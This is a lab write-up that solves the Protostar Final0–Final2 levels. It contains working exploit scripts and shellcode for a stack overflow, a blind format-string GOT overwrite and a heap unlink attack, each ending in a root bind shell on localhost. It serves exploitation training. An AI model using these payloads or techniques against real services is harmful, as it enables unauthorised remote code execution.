Final0
The application is expecting a username and then returns it in Upper case
$ nc localhost 2995
alvaro
No such user ALVARO
The buffer is 512 bytes long but we need to look for the EIP overwrite offset since the compiler can change the buffer size to align it or other nasty reasons. We start trying to segfault the program till we get it with:
echo `python -c 'print "A"*532 + "DDDD"'` | nc localhost 2995
We can verify it with gdb and the core dump:
root@protostar:~# gdb -q -c /tmp/core.11.final0.21580
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()
We will use a ret2text technique since there is call to strdup just before returning from the vulnerable function, so we will control eax and it will point to a copy of our input data in the heap. So the exploit should place the shellcode at the beggining of the user input (after a convenient NOP sled) followed by some garbage till we reach the EIP overwrite offset: 532
We will need the “call eax” opcodes to be present in .text
user@protostar:~$ objdump -M intel -d /opt/protostar/bin/final0 | grep "call.*eax"
8048d18: ff 14 85 9c ac 04 08 call DWORD PTR [eax*4+0x804ac9c]
8048d5f: ff d0 call eax
804992b: ff d0 call eax
We can verify the addresses content in gdb:
root@protostar:~# gdb -q -c /tmp/core.11.final0.21781
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()
(gdb) x/i 0x08048d5f
0x8048d5f: call *%eax
(gdb) x/i 0x0804992b
0x804992b: Cannot access memory at address 0x804992b
It seems that the only valid “call eax” address is “0x08048d5f”. We can use this address as the return address so we can jump to the address pointed by eax where our shellcode will be waiting for us:
Lets verify what is in the memory pointed by eax:
root@protostar:~# gdb -q -c /tmp/core.11.final0.21781
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()
(gdb) i r eax
eax 0x804b008 134524936
(gdb) x/10x $eax
0x804b008: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b018: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b028: 0x41414141 0x41414141
(gdb) x/10x $eax -4
0x804b004: 0x00000209 0x41414141 0x41414141 0x41414141
0x804b014: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b024: 0x41414141 0x41414141
So our A buffer starts right at the address pointed by eax, nice!
We need a shellcode not containing lower case characters (within 0x61-0x7a range) so we will be using this shellcode
user@protostar:~$ echo `python -c 'print("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA" + "A"*306 + "\x5f\x8d\x04\x08" + "\n")'` | nc localhost 2995
Now from a different terminal:
root@protostar:~# nc localhost 5074
id
uid=0(root) gid=0(root) groups=0(root)
Final1
First we need how to interact with the application which is expecting a username and then “login” followed with a password:
user@protostar:~$ nc localhost 2994
[final1] $ username alvaro
[final1] $ login passwd
login failed
If we look at the syslog:
Dec 22 15:48:18 protostar final1: Login from 127.0.0.1:39666 as [alvaro] with password [passwd]
The level is described as:
This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.
When you are exploiting this and you don’t necessarily know your IP address and port number (proxy, NAT / DNAT, etc), you can determine that the string is properly aligned by seeing if it crashes or not when writing to an address you know is good.
So we are supposed to exploit a format string vulnerability in the logit function:
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
The snprintf is not vulnerable to format string attack but syslog is since its syntax is:
void syslog(int priority, const char *format, ...);
We can place our shellcode at &username which we can control and its located at:
(gdb) p &username
$4 = (char (*)[128]) 0x804a220
We need to find the position offset poiting to a controlled 4 bytes space. In order to do so, I will run this little script that uses a shellcode in the “username” and then it sends a password containing DDDD (the 4 bytes we want to control) and a format string reading memory from a given position. Our intention is to find the position where the DDDD block is:
#!/usr/bin/python
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2994))
#http://www.exploit-db.com/exploits/13427/
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \
"BLAALMNIA"
for i in range(60):
s.send("username " + "\x90"*16 + shellcode + "\n")
s.send("login " + "DDDD[" + str(i) + "] %" + str(i)+ "$08x" + "\n")
s.close()
… will produce a long output including:
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[47] 2064726f]
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[48] 4444445b]
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[49] 39345b44]
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[50] 3525205d]
So our DDDD block is split between position 48 and 49, We will run the script again but adding three chracters before our DDDD block in order to align it to a format string position.
Dec 23 04:07:04 protostar final1: Login from 127.0.0.1:39733 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [XXXDDDD[49] 44444444]
Nice, now our DDDD is righ at 49 position. Now we will use the “%n” flag to write to a format string position. In this case to the number 49 that we control so we will write the number of bytes read so far to the address supplied instead of the DDDD block. As we want to overwrite a GOT entry to control program execution flow, we will find out the “puts” entry:
user@protostar:~$ objdump -TR /opt/protostar/bin/final1 | grep puts
00000000 DF *UND* 00000000 GLIBC_2.0 puts
0804a194 R_386_JUMP_SLOT puts
Ok, lets try it so far, we will overwrite the GOT entry with an unknow number (the bytes written so far):
s.send("username " + "\x90"*16 + shellcode + "\n")
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%49$08n" + "\n")
and we get
Dec 23 04:15:55 protostar kernel: [391899.936862] final1[23024]: segfault at ac ip 000000ac sp bffffc2c error 4 in final1[8048000+2000]
Nice! a segfault, that means that we have successfully overwritten the puts entry in the GOT table with the value 000000ac thats the number of charcters written before the format flag.
So we need to write the &username address in the puts GOT entry. Since the first 2 bytes are the same 0804, we can leave them untouched and just do a short write using the %hn flag. As an example:
s.send("username " + "\x90"*16 + shellcode + "\n")
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%49$hn" + "\n")
and we get
Dec 23 04:17:23 protostar kernel: [391988.195374] final1[23042]: segfault at 80400ac ip 080400ac sp bffffc2c error 4 in final1[8048000+2000]
We can see that our “00ac” is now only written in the two last bytes leaving the first two “0804” untouched. Now instead of “00ac” we need to write “a220” to point to the “username” address. So we need to write the decimal value: 41504
a220-00ac(already written) = a174 = 41332
s.send("username " + "\x90"*16 + shellcode + "\n")
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%41332d" + "%49$hn" + "\n")
Damn it! it crashes!
Dec 23 04:41:58 protostar kernel: [393462.998619] final1[23234]: segfault at f9b452c1 ip 0804a277 sp bffffc14 error 4 in final1[804a000+1000]
If we check it with gdb:
root@protostar:~# gdb -q -c /tmp/core.11.final1.23234
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0 0x0804a277 in ?? ()
(gdb) x/x 0x0804a194
0x804a194: 0x0804a220
WAT??!?!?! so our exploit worked and we jumped to our shellcode but the shellcode crahsed We pick a different shellcode and adjust the username so it has the same lenght and no format string position changes:
#!/usr/bin/python
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2994))
#http://www.exploit-db.com/exploits/13427/
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \
"BLAALMNIA"
print len(shellcode);
shellcode2 = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
print len(shellcode2)
s.send("username " + "\x90"*16 + shellcode2 + "A"*(len(shellcode) - len(shellcode2)) + "\n")
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%41332d" + "%49$hn" + "\n")
s.close()
and now it seems it works!:
root@protostar:~# netstat -natp | grep 4444
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 23275/final1
Lets go for it:
root@protostar:~# nc localhost 4444
id
uid=0(root) gid=0(root) groups=0(root)
Final2
This level is about remote heap explotation and that means that we have to find a place in the program where we are able to overwrite a chunk of memory with arbitrary contents and that chunk needs to be freed afterwards. If we read the code carefully we will find that the “check_path” function allows us to overwrite a chunk of memory since it uses “memmove” without checking its boundaries.
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
“check_path” is called from “get_requests” where a chunk of memory pointed by “buf” is reserved and we pass “check_path” a pointer to that buffer:
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
In addition, a call to “free” is done on the “destroylist” array. We will need to check what are those chunks pointing to since they are not declared in the code provided.
This is a “sane” run of the program:
user@protostar:~$ python -c 'print "FSRD" + "A"*114 + "/ROOT/TOOR" + "FSRD" + "B"*114 + "/ROOT/TOOR"' | nc 127.0.0.1 2993
Process OK
Process OK
Process OK
Ok, so if we analyze the “check_path” function we see a “memmove(start, p , l)” call that means that “l” bytes starting on “p” are going to be copied to “start” so if we want to overwrite a chunk’s headers, we need to send at least to chunks and somehow when checking chunk2 path, make “start” point a chunk1 address. This is actually quite easy since the program does not check if “start” belongs to current chunk or not and just keep looking for a “/” backwards in memory.
We know the following:
- each request is 128 bytes long
- each request must begin with “FSRD”
- check_path will copy whatever appears after the last “/” on a chunk to the address where it finds the first “/” before ROOT
We want the following:
- overwrite chunk2 headers, that means that we need to place a “/” in the last byte of the first chunk
- we want to overwrite chunk2 headers in order to create a fake chunk with fd and bk pointers that allow us to overwrite an arbitrary address in memory
- we want to overwrite a GOTs table entry of a funtion called after the free() call and overwrite it with a an address pointing to a memory area we control
- we want to place a shellcode in that memory area that we control
So lets design our chunks:
- Chunk1 = “FSRD” + “X”*(128 - 4 - 1) + “/”
- Chunk2 = “FSRD” + “ROOT” + “/” + “new_chunk2_prev_size” + “new_chunk2_size” + “XXXX” + fake_chunk_bk” + “fake_chunk_fd” + “NOP Sled” + “shellcode”
Where:
- new_chunk2_prev_size will be a negative value (-4) so we fool free() to think that the chunk to unlink from bin is 4 bytes ahead of the chunk2 address and thats right after chunk2 “XXXX”
- new_chunk2_size will be an arbitrary value ending in 0 so PREV_IN_USE will be false. That will make free() want to find that previous chunk and unlink it from “bin” in order to consolidate it with the chunk being freed before inserting the just consolidated chunk into “bin” again
When unlink() is called on the fake chunk, the address stored in its fd pointer (*fd) will be copied to the address pointed in its bk->fd (bk + 12). *fd -> bk + 12. So the address we want to overwrite will be placed in (bk + 12)
- fake_chunk_fd = &shellcode
- fake_chunk_bk = GOTs address - 12
We need to know GOTs address of a function called after free(), we will be using the write call right after the free() call in the loop:
user@protostar:~$ objdump -TR /opt/protostar/bin/final2 | grep write
00000000 DF *UND* 00000000 GLIBC_2.0 write
00000000 DF *UND* 00000000 GLIBC_2.0 fwrite
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite
So the address we will be using in our exploit is 0x0804d41c - 0xc = 0x0804d410
We also need to know what is chunk2 address so we can calculate the &shellcode and we need to verify that the “free(destroylist[i])” is freeing our previously allocated chunks. We will use gdb and some breakpoints to find out these details:
root@protostar:~# netstat -natp | grep final2
tcp 0 0 0.0.0.0:2993 0.0.0.0:* LISTEN 1301/final2
root@protostar:~# gdb -q /opt/protostar/bin/final2
Reading symbols from /opt/protostar/bin/final2...done.
(gdb) attach 1301
Attaching to program: /opt/protostar/bin/final2, process 1301
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64
64 ../sysdeps/unix/sysv/linux/i386/socket.S: No such file or directory.
in ../sysdeps/unix/sysv/linux/i386/socket.S
Current language: auto
The current source language is "auto; currently asm".
We will set two breakpoints after calling “calloc” to check the return value and before calling “free” to check the free’s argument:
(gdb) disas get_requests
Dump of assembler code for function get_requests:
0x0804bd47 <get_requests+0>: push %ebp
0x0804bd48 <get_requests+1>: mov %esp,%ebp
0x0804bd4a <get_requests+3>: sub $0x428,%esp
0x0804bd50 <get_requests+9>: movl $0x0,-0x10(%ebp)
0x0804bd57 <get_requests+16>: cmpl $0xfe,-0x10(%ebp)
0x0804bd5e <get_requests+23>: jg 0x804bddb <get_requests+148>
0x0804bd60 <get_requests+25>: movl $0x1,0x4(%esp)
0x0804bd68 <get_requests+33>: movl $0x80,(%esp)
0x0804bd6f <get_requests+40>: call 0x804b4ee <calloc>
0x0804bd74 <get_requests+45>: mov %eax,-0x14(%ebp)
0x0804bd77 <get_requests+48>: mov -0x10(%ebp),%eax
0x0804bd7a <get_requests+51>: mov -0x14(%ebp),%edx
0x0804bd7d <get_requests+54>: mov %edx,-0x414(%ebp,%eax,4)
0x0804bd84 <get_requests+61>: addl $0x1,-0x10(%ebp)
0x0804bd88 <get_requests+65>: movl $0x80,0x8(%esp)
0x0804bd90 <get_requests+73>: mov -0x14(%ebp),%eax
0x0804bd93 <get_requests+76>: mov %eax,0x4(%esp)
0x0804bd97 <get_requests+80>: mov 0x8(%ebp),%eax
0x0804bd9a <get_requests+83>: mov %eax,(%esp)
0x0804bd9d <get_requests+86>: call 0x8048e5c <read@plt>
0x0804bda2 <get_requests+91>: cmp $0x80,%eax
0x0804bda7 <get_requests+96>: jne 0x804bdde <get_requests+151>
0x0804bda9 <get_requests+98>: movl $0x4,0x8(%esp)
0x0804bdb1 <get_requests+106>: movl $0x804c2d1,0x4(%esp)
0x0804bdb9 <get_requests+114>: mov -0x14(%ebp),%eax
0x0804bdbc <get_requests+117>: mov %eax,(%esp)
0x0804bdbf <get_requests+120>: call 0x8048fdc <strncmp@plt>
0x0804bdc4 <get_requests+125>: test %eax,%eax
0x0804bdc6 <get_requests+127>: jne 0x804bde1 <get_requests+154>
0x0804bdc8 <get_requests+129>: mov -0x14(%ebp),%eax
0x0804bdcb <get_requests+132>: add $0x4,%eax
0x0804bdce <get_requests+135>: mov %eax,(%esp)
0x0804bdd1 <get_requests+138>: call 0x804bcd0 <check_path>
0x0804bdd6 <get_requests+143>: jmp 0x804bd57 <get_requests+16>
0x0804bddb <get_requests+148>: nop
0x0804bddc <get_requests+149>: jmp 0x804bde2 <get_requests+155>
0x0804bdde <get_requests+151>: nop
0x0804bddf <get_requests+152>: jmp 0x804bde2 <get_requests+155>
0x0804bde1 <get_requests+154>: nop
0x0804bde2 <get_requests+155>: movl $0x0,-0xc(%ebp)
0x0804bde9 <get_requests+162>: jmp 0x804be1c <get_requests+213>
0x0804bdeb <get_requests+164>: movl $0xb,0x8(%esp)
0x0804bdf3 <get_requests+172>: movl $0x804c2d6,0x4(%esp)
0x0804bdfb <get_requests+180>: mov 0x8(%ebp),%eax
0x0804bdfe <get_requests+183>: mov %eax,(%esp)
0x0804be01 <get_requests+186>: call 0x8048dfc <write@plt>
0x0804be06 <get_requests+191>: mov -0xc(%ebp),%eax
0x0804be09 <get_requests+194>: mov -0x414(%ebp,%eax,4),%eax
0x0804be10 <get_requests+201>: mov %eax,(%esp)
0x0804be13 <get_requests+204>: call 0x804a9c2 <free>
0x0804be18 <get_requests+209>: addl $0x1,-0xc(%ebp)
0x0804be1c <get_requests+213>: mov -0xc(%ebp),%eax
0x0804be1f <get_requests+216>: cmp -0x10(%ebp),%eax
0x0804be22 <get_requests+219>: jl 0x804bdeb <get_requests+164>
0x0804be24 <get_requests+221>: leave
0x0804be25 <get_requests+222>: ret
End of assembler dump.
(gdb) b *get_requests+45
Breakpoint 1 at 0x804bd74: file final2/final2.c, line 43.
(gdb) b *get_requests+201
Breakpoint 2 at 0x804be10: file final2/final2.c, line 55.
Now, we will tell gdb to follow the process children and continue to wait for the incoming connection:
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
Now we can send our test payload:
s.send("FSRD" + "X"*(128-4-1) + "/")
s.send("FSRD" + "ROOT" + "/" + "\xfc\xff\xff\xff" + "\xff\xff\xff\xff" + "XXXX" + "AAAA" + "DDDD" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4-4-1) + shellcode)
and in gdb we get our new process:
[New process 1490]
[Switching to process 1490]
Breakpoint 1, 0x0804bd74 in get_requests (fd=4) at final2/final2.c:43
43 final2/final2.c: No such file or directory.
in final2/final2.c
Current language: auto
The current source language is "auto; currently c".
In our first breakpoint we should be able to get the first chunk address:
(gdb) i r eax
eax 0x804e008 134537224
Lets continue and find out the address of the second chunk:
(gdb) c
Continuing.
Breakpoint 1, 0x0804bd74 in get_requests (fd=4) at final2/final2.c:43
43 in final2/final2.c
(gdb) i r eax
eax 0x804e090 134537360
This looks ok: 0x804e090 - 0x804e008 = 0x88 = 136 = 128 + 8 (headers) So now we know that the second chunk will be allocated in 0x804e090 and our shellcode should be 29 bytes ahead. Since we have a nop sled, lets say 36 -> 0x804e090 + 36 = 0x804eb4
When we hit the second breakpoint (just before the first call to free()):
Breakpoint 2, 0x0804be10 in get_requests (fd=4) at final2/final2.c:55
55 in final2/final2.c
(gdb) i r eax
eax 0x804e008 134537224
We can check that we were right and that the chunks being freed were the ones we previouly allocated.
Lets see how does the chunk1 memory looks like before the free():
(gdb) x/32x 0x804e008
0x804e008: 0x44525346 0x58585858 0x58585858 0x58585858
0x804e018: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e028: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e038: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e048: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e058: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e068: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e078: 0x58585858 0x58585858 0x58585858 0x2f585858
This looks pretty sane, our “FSRD” string followed by 123 “X”s and then a “/” (0x2f)
And the chunk2:
(gdb) x/32x 0x804e008+136
0x804e090: 0x44525346 0x544f4f52 0xfffffc2f 0xffffffff
0x804e0a0: 0x585858ff 0x41414158 0x44444441 0x90909044
0x804e0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x804e0c0: 0xf7db3190 0x534353e3 0xe189026a 0x80cd66b0
0x804e0d0: 0x68525e5b 0x5c1102ff 0x5051106a 0x666ae189
0x804e0e0: 0x8980cd58 0x04b30441 0x80cd66b0 0xcd66b043
0x804e0f0: 0x6a599380 0x80cd583f 0x68f87949 0x68732f2f
0x804e100: 0x69622f68 0x50e3896e 0xb0e18953 0x0080cd0b
Again we have our “FSRD” string followed by the “ROOT” one, the “/”, the “-4”, “-1”, 4*“X”, 4”A”s, 4”D”s, the NOP sled and our shellcode
Now lets take a look at the chunk 2 headers:
(gdb) x/2x 0x804e090-8
0x804e088: 0x00000000 0x00000089
Damn it, our memmove call has not worked correctly, since we were expecting our “-4” and “-1” here.
If we start the debugging again and add a breakpoint to analyze “check_path”, we find out that its only being called once for chunk1, not for chunk2. There was a error in our payload so that the second chunk was only 127 bytes and so we broke the loop. Once fixed:
s.send("FSRD" + "X"*(128-4-1) + "/")
s.send("FSRD" + "ROOT" + "/" + "\xfc\xff\xff\xff" + "\xff\xff\xff\xff" + "XXXX" + "AAAA" + "DDDD" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4-4) + shellcode)
We hit the second call to “check_path”. The chunk2 headers before the “memmove”:
(gdb) x/2x 0x804e090-8
0x804e088: 0x00000000 0x00000089
and after the “memmove”
(gdb) x/2x 0x804e090-8
0x804e088: 0x896e6962 0x895350e3
Damn it!!! something went wrong. Lets check chunk2 memory:
(gdb) x/32x 0x804e008+136
0x804e090: 0xcd0bb0e1 0x544f4f80 0xfffffc2f 0xffffffff
0x804e0a0: 0x585858ff 0x41414158 0x44444441 0x90909044
0x804e0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x804e0c0: 0xdb319090 0x4353e3f7 0x89026a53 0xcd66b0e1
0x804e0d0: 0x525e5b80 0x1102ff68 0x51106a5c 0x6ae18950
0x804e0e0: 0x80cd5866 0xb3044189 0xcd66b004 0x66b04380
0x804e0f0: 0x599380cd 0xcd583f6a 0xf8794980 0x732f2f68
0x804e100: 0x622f6868 0xe3896e69 0xe1895350 0x80cd0bb0
So the first 8 bytes also looks wrong. It seems like we have copy to the right position, but the wrong content and length.
The problem is that our shellcode contains “/“s so we wont be copying the right content. Lets put the shellcode before the last “/” and the fake fd and bk pointers:
s.send("FSRD" + "X"*(128-4-1) + "/")
s.send("FSRD" + "ROOT" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4) + shellcode + "/" + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "DDDD")
Now lets check again if the “memmove” worked as expected:
(gdb) x/2x 0x804e090-8
0x804e088: 0xfffffffc 0xffffffff
And our chunk2 memory space:
(gdb) x/32x 0x804e090
0x804e090: 0x0804d410 0x44444444 0x90909090 0x90909090
0x804e0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x804e0b0: 0xf7db3190 0x534353e3 0xe189026a 0x80cd66b0
0x804e0c0: 0x68525e5b 0x5c1102ff 0x5051106a 0x666ae189
0x804e0d0: 0x8980cd58 0x04b30441 0x80cd66b0 0xcd66b043
0x804e0e0: 0x6a599380 0x80cd583f 0x68f87949 0x68732f2f
0x804e0f0: 0x69622f68 0x50e3896e 0xb0e18953 0x2f80cd0b
0x804e100: 0xfffffffc 0xfffffffc 0x0804d410 0x44444444
This looks ok, however we are getting a SIGSEGV when freeing the first chunk:
Program received signal SIGSEGV, Segmentation fault.
0x0804aaf8 in free (mem=0x804e008) at final2/../common/malloc.c:3648
3648 final2/../common/malloc.c: No such file or directory.
in final2/../common/malloc.c
Lets see what is happening:
(gdb) x/i 0x0804aaf8
0x804aaf8 <free+310>: mov %edx,0x8(%eax)
(gdb) i r eax
eax 0x44444444 1145324612
(gdb) i r edx
edx 0x804d410 134534160
Oh nice, so its just us trying to overwrite the GOT entry with our DDDD block. So lets use the address of our shellcode instead. AS we saw in the chunk2 memory, our shellcode starts in 0x804e098:
(gdb) x/32x 0x804e090
0x804e090: 0x0804d410 0x44444444 0x90909090 0x90909090
0x804e0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x804e0b0: 0xf7db3190 0x534353e3 0xe189026a 0x80cd66b0
0x804e0c0: 0x68525e5b 0x5c1102ff 0x5051106a 0x666ae189
0x804e0d0: 0x8980cd58 0x04b30441 0x80cd66b0 0xcd66b043
0x804e0e0: 0x6a599380 0x80cd583f 0x68f87949 0x68732f2f
0x804e0f0: 0x69622f68 0x50e3896e 0xb0e18953 0x2f80cd0b
0x804e100: 0xfffffffc 0xfffffffc 0x0804d410 0x44444444
So our final payload will be:
s.send("FSRD" + "X"*(128-4-1) + "/")
s.send("FSRD" + "ROOT" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4) + shellcode + "/" + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x98\xe0\x04\x08" )
Lets try it:
and the shell should be waiting for us in port 4444:
root@protostar:~# netstat -natp | grep LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 777/portmap
tcp 0 0 0.0.0.0:2993 0.0.0.0:* LISTEN 1301/final2
tcp 0 0 0.0.0.0:2994 0.0.0.0:* LISTEN 1299/final1
tcp 0 0 0.0.0.0:2995 0.0.0.0:* LISTEN 1297/final0
tcp 0 0 0.0.0.0:2996 0.0.0.0:* LISTEN 1295/net3
tcp 0 0 0.0.0.0:2997 0.0.0.0:* LISTEN 1293/net2
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1361/sshd
tcp 0 0 0.0.0.0:2998 0.0.0.0:* LISTEN 1291/net1
tcp 0 0 0.0.0.0:2999 0.0.0.0:* LISTEN 1289/net0
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1270/exim4
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1819/final2
tcp 0 0 0.0.0.0:46752 0.0.0.0:* LISTEN 789/rpc.statd
tcp6 0 0 :::22 :::* LISTEN 1361/sshd
tcp6 0 0 ::1:25 :::* LISTEN 1270/exim4
root@protostar:~# nc localhost 4444
id
uid=0(root) gid=0(root) groups=0(root)
Voila!!